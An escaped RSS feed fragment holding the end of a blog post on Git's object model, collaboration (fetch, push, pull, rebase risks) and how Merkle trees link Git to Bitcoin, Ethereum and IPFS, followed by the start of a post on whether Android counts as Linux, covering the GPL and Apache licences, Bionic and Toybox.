&lt;p&gt;&lt;strong&gt;Extract C4&apos;s change content relative to its parent, reapply it at the current position, and generate a new commit C4&apos;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C4&apos;   main
           ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C4&apos; and C4 have the same content, different hashes&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Just like rebase, both are &quot;copying a commit to a new position and rebuilding it&quot;, except rebase copies a stretch and cherry-pick copies one&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A quick table:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operation&lt;/th&gt;
&lt;th&gt;New object?&lt;/th&gt;
&lt;th&gt;Moves pointer?&lt;/th&gt;
&lt;th&gt;Rewrites history?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;merge&lt;/td&gt;
&lt;td&gt;Yes, creates a merge commit&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rebase&lt;/td&gt;
&lt;td&gt;Yes, rebuilds commits&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reset&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Depends on the mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cherry-pick&lt;/td&gt;
&lt;td&gt;Yes, copies commits&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Every operation is a combination of two things: &lt;strong&gt;adding things to the object database, and moving pointers&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.5 Summary&lt;/h3&gt;
&lt;p&gt;We can now understand any Git operation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The object database only takes in, never gives out (except garbage collection); it&apos;s append-only&lt;/li&gt;
&lt;li&gt;Pointers can be moved freely&lt;/li&gt;
&lt;li&gt;The history you see depends on where the pointers point&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is why Git almost never loses data — as long as the object is still in the database, you can always find where a pointer used to point via &lt;code&gt;git reflog&lt;/code&gt; and fish the thing back out&lt;/p&gt;
&lt;p&gt;Next we&apos;ll talk about collaboration, and why you shouldn&apos;t use rebase when there are multiple people&lt;/p&gt;
&lt;h2&gt;5. Collaboration&lt;/h2&gt;
&lt;p&gt;First, set up a realistic scenario&lt;/p&gt;
&lt;p&gt;You and Chongxi have each cloned the same remote repository. At the moment of cloning, all three of your states are completely identical:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Remote origin:     C1 ← C2 ← C3    main
Your local:        C1 ← C2 ← C3    main
Chongxi&apos;s local:   C1 ← C2 ← C3    main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we start working separately&lt;/p&gt;
&lt;h3&gt;5.1 What happens on clone&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./3.webp&quot; alt=&quot;Picture unrelated&quot; /&gt;&lt;/p&gt;
&lt;p&gt;clone isn&apos;t simply &quot;downloading the code&quot;&lt;/p&gt;
&lt;p&gt;More precisely:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Copy the entire remote object database to your machine, then store a read-only copy of all the remote pointers locally&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;.git/refs/remotes/origin/main = the hash of C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;origin/main&lt;/code&gt; is your local &lt;strong&gt;snapshot&lt;/strong&gt; of the remote state; it records where the remote was the last time I synced with it&lt;/p&gt;
&lt;h3&gt;5.2 fetch&lt;/h3&gt;
&lt;p&gt;You work for a while, and the remote has new commits&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git fetch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git does the following:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Download all new objects from the remote, and update the &lt;code&gt;origin/main&lt;/code&gt; pointer. Your local &lt;code&gt;main&lt;/code&gt; doesn&apos;t move&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Remote:          C1 ← C2 ← C3 ← C4 ← C5    main
Your local main:  C1 ← C2 ← C3              main（unmoved）
origin/main:   C1 ← C2 ← C3 ← C4 ← C5   （updated）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fetch does only one thing: sync objects, update remote pointers. Your work is completely unaffected&lt;/p&gt;
&lt;h3&gt;5.2 push: push local pointers to the remote&lt;/h3&gt;
&lt;p&gt;You committed C4&apos; locally and want to push it to the remote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git does the following&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Transfer the new local object (C4&apos;) to the remote object database&lt;/li&gt;
&lt;li&gt;Ask the remote to move the &lt;code&gt;main&lt;/code&gt; pointer to C4&apos;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But the remote checks one thing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Is the parent of your C4&apos; the commit the remote&apos;s current main points to?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If it is, that&apos;s called a &lt;strong&gt;fast-forward&lt;/strong&gt;, and the remote moves the pointer forward directly, no problem at all&lt;/p&gt;
&lt;p&gt;If it isn&apos;t, the remote refuses and returns an error:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;! [rejected] main -&amp;gt; main (non-fast-forward)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why it gets rejected&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You and Chongxi both started working from C3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;You:   C1 ← C2 ← C3 ← C4&apos;   local main
Chongxi: C1 ← C2 ← C3 ← C4    pushed to the remote
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chongxi pushed before you, and the remote main is now at C4&lt;/p&gt;
&lt;p&gt;You want to push C4&apos;, but C4&apos;&apos;s parent is C3, not C4&lt;/p&gt;
&lt;p&gt;The remote: &lt;strong&gt;your history and my history have diverged; I don&apos;t know how to merge them, you figure it out yourself&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.3 pull: fetch + merge&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git pull
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s essentially two steps:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git fetch    ← sync remote objects first
git merge    ← then merge origin/main into local main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After merging, a merge commit C5 is generated; then you push again, and this time C5&apos;s parent includes C4, so the remote accepts it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C4 ← C5    remote main（C5 is a merge commit）
                ↑    ↑
            Chongxi  You
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.4 How conflicts happen&lt;/h3&gt;
&lt;p&gt;You and Chongxi changed &lt;strong&gt;the same place in the same file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Git does a three-way comparison:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Common parent C3: line 5 is &quot;meow&quot;
Chongxi&apos;s C4:     line 5 changed to &quot;qwq&quot;
Your C4&apos;:         line 5 changed to &quot;uwu&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git doesn&apos;t know which one to use, and can only stop and let you decide:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD
uwu
=======
qwq
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; origin/main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This isn&apos;t a defect in Git; it&apos;s a &lt;strong&gt;real conflict&lt;/strong&gt;. A machine can&apos;t decide business logic on your behalf&lt;/p&gt;
&lt;h3&gt;5.5 Why rebase is dangerous in a multi-person scenario&lt;/h3&gt;
&lt;p&gt;Now let&apos;s go back to the question mentioned earlier and explain it with the object model&lt;/p&gt;
&lt;p&gt;You and Chongxi both created a &lt;code&gt;feature&lt;/code&gt; branch from C3, and Chongxi has already pushed his C4 and C5 to the remote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Remote feature:  C1 ← C2 ← C3 ← C4 ← C5
Your feature:    C1 ← C2 ← C3 ← C4 ← C5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You run a rebase on &lt;code&gt;feature&lt;/code&gt; locally, generating C4&apos; and C5&apos;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Your feature:  C1 ← C2 ← C3 ← C4&apos; ← C5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you force-push to the remote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push --force // blindly push --force and you&apos;ll get beaten to death
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The remote &lt;code&gt;feature&lt;/code&gt; becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Remote feature:  C1 ← C2 ← C3 ← C4&apos; ← C5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original C4 and C5 have disappeared from the remote&lt;/p&gt;
&lt;p&gt;But Chongxi still has them locally:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Chongxi&apos;s feature:  C1 ← C2 ← C3 ← C4 ← C5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When Chongxi fetches again, he finds the remote history and his local history &lt;strong&gt;completely don&apos;t match&lt;/strong&gt;, because C4 and C4&apos; have different hashes, and Git considers them two completely unrelated commits&lt;/p&gt;
&lt;p&gt;My local repository plunges into chaos&lt;/p&gt;
&lt;p&gt;Root cause: &lt;strong&gt;rebase rewrote the commit hashes, and a hash is the only ID card in the Git world. You changed an ID card somebody else depends on, and their world collapses&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So there&apos;s this iron rule in collaboration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Never rebase commits that have already been pushed to the remote and that others may be building on&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For your own commits that haven&apos;t been pushed out, rebase all you like, no problem at all&lt;/p&gt;
&lt;h3&gt;5.6 Deconstructing the essence of the entire collaboration model&lt;/h3&gt;
&lt;p&gt;Everyone has a &lt;strong&gt;complete object database and pointer system&lt;/strong&gt; locally. The essence of collaboration is &lt;strong&gt;syncing objects and aligning pointers between different machines&lt;/strong&gt;. A conflict is the natural result of pointers not lining up; a rejected push is the remote protecting history&lt;/p&gt;
&lt;h2&gt;6. Conclusion: one idea, four implementations&lt;/h2&gt;
&lt;p&gt;Back to the question at the very beginning:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Without a central authority, how do you get people distributed around the globe to agree on the same data?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a question that has recurred over and over for decades. People in different fields, in different ways, gave variants of the same answer&lt;/p&gt;
&lt;h3&gt;6.1 The underlying idea: content addressing + hash chains&lt;/h3&gt;
&lt;p&gt;All these systems are built on two primitives:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Content addressing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Instead of locating data with &quot;this file is in the 5th directory of the 3rd server&quot;, locate it with the hash of the data content itself&lt;/p&gt;
&lt;p&gt;The hash is the address, and the address is the content&apos;s fingerprint&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hash chains&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each node contains the previous node&apos;s hash, forming a chain&lt;/p&gt;
&lt;p&gt;Change any node on the chain and the hashes of all subsequent nodes change. The chain&apos;s integrity can be independently verified by anyone, with no need for an authority to vouch for it&lt;/p&gt;
&lt;p&gt;These two primitives combined solve the same problem:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let data prove its own innocence&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sound familiar? web3? No no no — this idea can be traced back to the 1970s&lt;/p&gt;
&lt;h3&gt;6.2 1979: Merkle Tree&lt;/h3&gt;
&lt;p&gt;Ralph Merkle proposed this data structure in his doctoral thesis&lt;/p&gt;
&lt;p&gt;The original goal was very plain: &lt;strong&gt;how do you efficiently verify that one piece of data in a large batch hasn&apos;t been tampered with?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The solution:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Put all the data in leaf nodes
Each parent node stores the combined hash of its left and right child nodes
Compute all the way up to the root node&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The root hash represents the state of the entire tree. To verify that C hasn&apos;t been tampered with, you only need to provide D, hash AB and the root hash, without exposing the contents of A and B&lt;/p&gt;
&lt;p&gt;This is called a &lt;strong&gt;Merkle Proof&lt;/strong&gt;, with a verification efficiency of O(log n)&lt;/p&gt;
&lt;p&gt;It was a purely cryptographic concept, with no concrete application at the time&lt;/p&gt;
&lt;h3&gt;6.3 2005: Git&lt;/h3&gt;
&lt;p&gt;Linus independently arrived at the same structure to solve the code collaboration problem&lt;/p&gt;
&lt;p&gt;Git&apos;s object model is exactly a Merkle Tree:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit
  └── tree（root hash）
        ├── blob
        ├── blob
        └── tree
              └── blob
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then parent pointers string multiple trees into a timeline&lt;/p&gt;
&lt;p&gt;Git&apos;s contribution was &lt;strong&gt;turning the Merkle Tree from a static data structure into a version history with a time dimension&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;6.4 2008: Bitcoin&lt;/h3&gt;
&lt;p&gt;Satoshi Nakamoto faced essentially the same problem as Linus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Without a central authority like a bank, how do you get people around the world to agree on who owns how much money?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;His solution borrowed the same idea:&lt;/p&gt;
&lt;p&gt;Each block contains:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block {
  transactions_root:  the Merkle Tree root hash of all transactions
  prev_block_hash:    the hash of the previous block
  nonce:              proof of work
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;prev_block_hash&lt;/code&gt; is Git&apos;s &lt;code&gt;parent&lt;/code&gt;, stringing blocks into a chain&lt;/p&gt;
&lt;p&gt;Change any historical block and the hashes of all subsequent blocks change, and the whole network notices immediately&lt;/p&gt;
&lt;p&gt;Bitcoin&apos;s contribution was &lt;strong&gt;adding proof of work (i.e. mining) on top of the hash chain, solving the question of who has the right to write new blocks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Git doesn&apos;t need to solve that problem, because Linus himself is the final authority (lol)&lt;/p&gt;
&lt;h3&gt;6.5 2014: Ethereum&apos;s MPT&lt;/h3&gt;
&lt;p&gt;The state Ethereum needs to store is far more complex than Bitcoin&apos;s — not just transaction records, but every account&apos;s balance, the state of smart contracts, code…&lt;/p&gt;
&lt;p&gt;A plain Merkle Tree isn&apos;t efficient enough for lookups, so Ethereum combined it with a Patricia Trie (compressed prefix tree) and invented the &lt;strong&gt;Merkle Patricia Trie&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MPT = Merkle Tree（tamper-proof）
    + Patricia Trie（efficient lookup）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Patricia Trie addresses by path; for example, the account address &lt;code&gt;0x1a2b3c...&lt;/code&gt; is a path on the tree, and following it finds that account&apos;s state&lt;/p&gt;
&lt;p&gt;Each Ethereum block has three MPTs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;state_root       ← global account state
transactions_root ← all transactions in this block
receipts_root    ← the execution results of all transactions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Compared with Git:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git&apos;s tree object  ≈  an MPT&apos;s intermediate nodes (path-addressed)
Git&apos;s blob object  ≈  an MPT&apos;s leaf nodes (the actual data)
Git&apos;s commit       ≈  an Ethereum block (state snapshot + pointer to the previous)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.6 2015: IPFS&lt;/h3&gt;
&lt;p&gt;The problem IPFS wants to solve is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP is location-addressed: if the server dies, the data disappears. Can we make data content-addressed, so that as long as someone stores it, anyone can retrieve it?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each IPFS file is split into blocks, each block hashed, and the directory structure is also organised as a Merkle DAG (directed acyclic graph):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;directory hash
  ├── hash of file A
  │     ├── hash of block 1
  │     └── hash of block 2
  └── hash of file B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You request a file by giving the root hash, and IPFS fetches it back from any node on the network that stores the data, verifying integrity with the hash&lt;/p&gt;
&lt;p&gt;Compared with Git it&apos;s almost one-to-one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git blob   ≈  IPFS data block
Git tree   ≈  IPFS directory node
Git remote ≈  IPFS network node
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPFS&apos;s author said outright: &lt;strong&gt;IPFS is just Git&apos;s object model extended to the entire internet&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Their core ideas are exactly the same; the only difference is:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Each had different additional problems to solve, which led to different extensions on top of the hash chain&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Finally let&apos;s go back to 2005, when Linus wrote Git in ten days. He didn&apos;t foresee blockchains, didn&apos;t foresee IPFS&lt;/p&gt;
&lt;p&gt;He had just thought one question through clearly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Trust shouldn&apos;t depend on authority; it should depend on mathematics&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That one insight, over the following twenty years, was repeatedly rediscovered by people in different fields, and grew into completely different things&lt;/p&gt;
</content:encoded><category>开发</category><author>Chongxi</author></item><item><title>Is Android Linux or Not? Clearing Up All Your Confusion in One Article</title><link>https://xice.cx/en/posts/isAndroidByLinux/</link><guid isPermaLink="true">https://xice.cx/en/posts/isAndroidByLinux/</guid><description>Is Android Linux or not? An essential analysis from the kernel to user space.</description><pubDate>Sun, 29 Mar 2026 07:39:21 GMT</pubDate><content:encoded>&lt;h2&gt;0. Intro&lt;/h2&gt;
&lt;p&gt;When you ask a simple question — &quot;Is Android Linux?&quot; — you usually get two completely different answers: some firmly agree, some firmly deny. Why is that? So hard to guess&lt;/p&gt;
&lt;p&gt;The root cause of this disagreement is that &lt;strong&gt;the word &quot;Linux&quot; as we usually say it is ambiguous&lt;/strong&gt;. To sort out Android&apos;s origins, we must first go back to the 1990s and clarify two core concepts&lt;/p&gt;
&lt;h3&gt;0.1 Linux Is Just a Kernel&lt;/h3&gt;
&lt;p&gt;Under the strictest definition, &lt;strong&gt;Linux is not a complete operating system at all; it is merely a kernel&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In 1991, when Finnish university student Linus Torvalds wrote the first line of code, what he wrote was just a kernel program&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does a kernel do?&lt;/strong&gt; It manages CPU scheduling, memory allocation, network communication and drives the underlying hardware (for example, letting the motherboard recognise your network card and keyboard). It is merely an engine — you can&apos;t drive an engine down the highway on its own&lt;/p&gt;
&lt;p&gt;Android does use the Linux kernel, so at this extremely narrow level, you can say Android includes Linux&lt;/p&gt;
&lt;h3&gt;0.2 What Is GNU/Linux&lt;/h3&gt;
&lt;p&gt;Since Linux is just a kernel, what exactly are the Arch, Debian, CentOS and even domestic Deepin systems we normally use — complete systems with a desktop, a command line and the ability to install software?&lt;/p&gt;
&lt;p&gt;This brings us to Richard Stallman and the &lt;strong&gt;GNU Project&lt;/strong&gt; he launched
In 1983, Stallman decided to build a completely free, open-source operating system. His team spent years developing almost all the upper-layer components an operating system needs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The C standard library &lt;code&gt;glibc&lt;/code&gt;:&lt;/strong&gt; the foundation every piece of software runs on&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compiler:&lt;/strong&gt; the machine that turns code into executable programs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Command-line toolset:&lt;/strong&gt; such as the &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;cd&lt;/code&gt;, &lt;code&gt;cp&lt;/code&gt; and &lt;code&gt;rm&lt;/code&gt; you type in&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shell environment:&lt;/strong&gt; such as the famous Bash&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By the early 1990s, the GNU team had everything ready: a beautifully built chassis, steering wheel and body — &lt;strong&gt;all that was missing was a good engine&lt;/strong&gt; (their own kernel, Hurd, had stalled). On the other side, Linus had just built an excellent engine (the Linux kernel), but had no body&lt;/p&gt;
&lt;p&gt;So the two hit it off immediately. &lt;strong&gt;Linux kernel + GNU toolchain = a complete, usable operating system&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Therefore, the traditional Linux distributions we use today on servers and personal computers should, academically speaking, most accurately be called &lt;strong&gt;GNU/Linux&lt;/strong&gt;. &lt;strong&gt;What we usually mean by &quot;I use a Linux system&quot; is actually short for &quot;a GNU/Linux system&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;0.3 What Is Android&lt;/h3&gt;
&lt;p&gt;With the history above understood, the essence of Android becomes very clear&lt;/p&gt;
&lt;p&gt;When Google decided to develop a smartphone operating system, it took a liking to this super engine, Linux — &lt;strong&gt;but Google did not want the car body GNU had built&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To adapt to the characteristics of mobile devices, and to avoid the strict open-source licences behind GNU (which will be covered in detail in later sections), Google took the Linux engine out and built an entirely new sports car around it&lt;/p&gt;
&lt;h2&gt;1. Open Source vs Commercialisation: Who Will Win&lt;/h2&gt;
&lt;p&gt;To understand why Android cannot be a traditional GNU/Linux, we first need to know two open-source licences that are as incompatible as fire and water in the open-source world: &lt;strong&gt;GPL&lt;/strong&gt; (the GNU General Public License) and &lt;strong&gt;Apache 2.0&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.1 GPL&lt;/h3&gt;
&lt;p&gt;In traditional GNU/Linux systems (such as Ubuntu), from the Linux kernel up to the upper-layer GNU core components (the C standard library, command-line tools, etc.), the vast majority use the &lt;strong&gt;GPL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The original intent of the GPL is extremely noble and pure: &lt;strong&gt;defend the absolute freedom of software&lt;/strong&gt;. It stipulates: you may use my code for free and modify it as you like, &lt;strong&gt;but any derivative software that uses GPL code or links against GPL libraries must also open-source all of its source code under the GPL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;From our perspective, this is called the baton of freedom. In the eyes of a commercial company&apos;s legal department, it is called a viral licence&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does this mean for phone hardware manufacturers?&lt;/strong&gt;
Suppose Qualcomm spent a billion USD developing a GPU with top-tier graphics performance, or Samsung developed an extremely advanced camera algorithm. To make this hardware work on a phone, they must write &lt;strong&gt;hardware drivers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If Android had copied the GNU/Linux architecture unchanged, Qualcomm and Samsung would inevitably have to call the underlying code libraries protected by the GPL when writing drivers. Once they did (even if all they did was link a &lt;code&gt;.so&lt;/code&gt; dynamic library), under the GPL&apos;s infectiousness, &lt;strong&gt;Qualcomm and Samsung would have to publish the source code of the GPU and camera drivers they spent enormous sums developing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This amounts to handing their trade secrets to competitors for free. If Google had said to hardware manufacturers back then, &quot;Use my Android system; the price is making all your core technology code public&quot;, then without a doubt, &lt;strong&gt;Android would have died at birth, and any OEM would have left it standing outside the door&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.2 Apache&lt;/h3&gt;
&lt;p&gt;Google isn&apos;t stupid; it knew clearly that the best way to build a phone operating system that monopolises the globe is &lt;strong&gt;to build a huge commercial alliance&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To attract giants like Samsung, HTC, Qualcomm and MediaTek, Google had to give them a reassurance: &lt;strong&gt;use my system, and you&apos;re allowed to keep your code closed&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To deliver on that promise, Google made an extremely major architectural decision: &lt;strong&gt;ban the GPL from user space and turn fully right toward Apache 2.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Apache 2.0 (and similar BSD and MIT licences) are called extremely business-friendly licences. &lt;strong&gt;You can use my code for free, mess with it however you like, and you can also keep it closed source and use it to make money&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This suited hardware manufacturers and closed-source commercial software developers perfectly&lt;/p&gt;
&lt;h3&gt;1.3 Architectural Guiding Principles&lt;/h3&gt;
&lt;p&gt;But the reality is that &lt;strong&gt;the Linux kernel itself is GPL&lt;/strong&gt;. How to do?&lt;/p&gt;
&lt;p&gt;Fortunately, Linus made an extremely important declaration back then: &lt;strong&gt;normal system calls (that is, upper-layer software calling into the underlying kernel to get things done) do not constitute derivative works and are not subject to GPL infection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Google sharply grabbed this lifeline and established the highest principle of Android&apos;s architectural design: &lt;strong&gt;isolate the GPL&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Lock the GPL strictly inside the kernel layer:&lt;/strong&gt; the unmodifiable Linux kernel at the bottom — Google accepted it, and it still complies with the GPL&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fully de-GNU the upper layers:&lt;/strong&gt; nothing above the kernel is allowed to show any trace of the GPL. Google went to work ruthlessly and &lt;strong&gt;killed off&lt;/strong&gt; all those core low-level libraries in traditional GNU/Linux that carried the risk of GPL infection (such as &lt;code&gt;glibc&lt;/code&gt; and all the core command tools), &lt;strong&gt;and spent its own money rewriting a set of replacements&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Move drivers upward:&lt;/strong&gt; traditional Linux drivers live inside the kernel. To keep hardware vendors&apos; drivers from being infected by the kernel&apos;s GPL, Google forcibly inserted a hardware abstraction layer, &lt;code&gt;HAL&lt;/code&gt;, in the middle of the architecture, so vendors could move the core driver code out of the kernel and run it closed-source in user space&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. NO GNU&lt;/h2&gt;
&lt;h3&gt;2.1 Starting In-House Development&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;libC&lt;/strong&gt; is the most important cornerstone of any operating system built on the Linux kernel. It is the only bridge through which all upper-layer software (whether native programs written in C++ or the Java virtual machine) communicates with the underlying Linux kernel&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Traditional GNU/Linux:&lt;/strong&gt; uses the famous &lt;code&gt;glibc&lt;/code&gt;. It is extremely large, comprehensive in features, fully POSIX-compliant, and very fast. But it has two weaknesses: first, it is under the GPL. Second, it takes up too much memory — for the pitiful RAM of early-generation 2008 smartphones, it was too heavy&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So Google abandoned &lt;code&gt;glibc&lt;/code&gt; and, based on the BSD licence, rewrote a lightweight C standard library itself, named &lt;strong&gt;Bionic libc&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Small:&lt;/strong&gt; its size is only a fraction of &lt;code&gt;glibc&lt;/code&gt;&apos;s&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fast:&lt;/strong&gt; instruction-set optimisations specifically for the low frequency and low power consumption of mobile ARM processors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So what was the cost? It cut a large number of POSIX standard features that phones don&apos;t use. This is also why many traditional Linux C/C++ programs cannot be compiled and run directly on Android&lt;/p&gt;
&lt;h3&gt;2.3 Killing Off the Command-Line Toolset&lt;/h3&gt;
&lt;p&gt;In traditional Linux, the &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt; and so on you type all come from the &lt;strong&gt;GNU Coreutils&lt;/strong&gt; package&lt;/p&gt;
&lt;p&gt;To avoid suspicion, early Android wrote its own minimal command set called &lt;strong&gt;Toolbox&lt;/strong&gt;, also based on BSD. Later, as the system developed, Toolbox gradually became insufficient, so starting from Android 6.0, Google switched entirely to the &lt;strong&gt;Toybox&lt;/strong&gt; project initiated by Rob Landley&lt;/p&gt;
&lt;p&gt;Toybox is an extremely magical project: it packs hundreds of common Linux commands into one small binary, and it uses the &lt;strong&gt;BSD/0-clause&lt;/strong&gt; licence (extremely permissive — almost equivalent to waiving copyright claims)
